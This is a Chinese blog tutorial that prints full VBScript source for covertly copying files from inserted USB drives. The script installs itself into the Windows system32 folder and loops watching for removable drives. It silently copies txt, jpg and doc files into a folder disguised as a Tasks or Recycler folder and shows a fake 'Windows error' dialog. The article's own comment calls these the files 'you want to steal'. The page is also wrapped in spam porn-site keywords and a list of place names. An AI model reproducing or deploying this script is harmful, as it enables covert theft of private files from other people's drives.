中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

VBS如何實現自動復制U盤文件

發布時間:2021-10-12 10:33:40 來源:億速云 閱讀:169 作者:小新 欄目:開發技術

小編給大家分享一下VBS如何實現自動復制U盤文件,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!

以下為演示:
一、設置
右鍵單擊,選擇編輯
oStr = "txt|jpg|doc" '你要竊取的文件類型,可以自行添加,用“|”隔開
oDistPath = "C:\\windows\\system\\" '保存路徑
oFolderName = "Task" '保存文件夾名稱
oType = 0 '將保存的文件夾進行偽裝 1為task文件夾,2為recycler文件夾,0為不偽裝
oOut = 1 '1復制完畢后退出,0復制完畢后不退出,繼續循環
VBS如何實現自動復制U盤文件
二、保存后運行
會出現安裝成功對話框,如果不希望出現該對話框,可以將“Msgbox "安裝成功"”注釋掉。
VBS如何實現自動復制U盤文件
此時腳本已經在循環監測U盤的插入
VBS如何實現自動復制U盤文件
三、插入U盤
U盤插入后,就開始文件的復制。復制完成后會出現提示對話框。
如果不希望出現該對話框,可以將 “Msgbox "Windows 錯誤",64”注釋掉
VBS如何實現自動復制U盤文件
四、尋找文件
此時,文件已經在目標文件夾中。我將oType 設置為1,所以該文件夾成了task文件夾,此時雙擊打開是看不到其中的文件的。
VBS如何實現自動復制U盤文件
這種情況可以通過rar壓縮包瀏覽,將其中的desktop.ini文件刪除,文件夾就會變成普通文件夾。
 VBS如何實現自動復制U盤文件ww
這時就能打開文件夾看到其中的內容。


VBS如何實現自動復制U盤文件


Copy.log記錄的是原文件及復制后的文件。
VBS如何實現自動復制U盤文件
vbs代碼

復制代碼 代碼如下:


oStr = "txt|jpg|doc" '文件類型,添加文件類型用“|”隔開
oDistPath = "C:\\windows\\system\\" '保存路徑
oFolderName = "Task" '保存文件夾名稱
oType = 1 '1為task文件夾,2為recycler文件夾,0為不隱藏
oOut = 1 '1復制完畢后退出,0復制完畢后不退出,繼續循環
'By:白開 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夾不存在則創建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'創建記錄文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循環監測移動存儲設備插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 錯誤",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隱藏文件夾
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目錄,先安裝
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安裝成功"
end if


Set fso=nothing
Set wshell=nothing



'遍歷目錄函數
Function TreeIt(sPath)
Set oFolder = fso.GetFolder(sPath)
Set oSubFolders = oFolder.Subfolders

Set oFiles = oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder = Nothing
Set oSubFolders = Nothing

End Function

'復制文件函數
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext = fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隱藏文件夾函數
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

以上是“VBS如何實現自動復制U盤文件”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

镇江市| 印江| 曲周县| 手机| 高阳县| 萍乡市| 弥勒县| 吉隆县| 崇明县| 若羌县| 兴国县| 绥滨县| 毕节市| 扬州市| 石河子市| 菏泽市| 深州市| 江安县| 靖宇县| 沾益县| 襄汾县| 齐河县| 离岛区| 紫阳县| 嘉义县| 开阳县| 察雅县| 林周县| 屯门区| 墨脱县| 红安县| 枞阳县| 莎车县| 奉节县| 奉新县| 桓仁| 定结县| 招远市| 峨山| 梅河口市| 安塞县|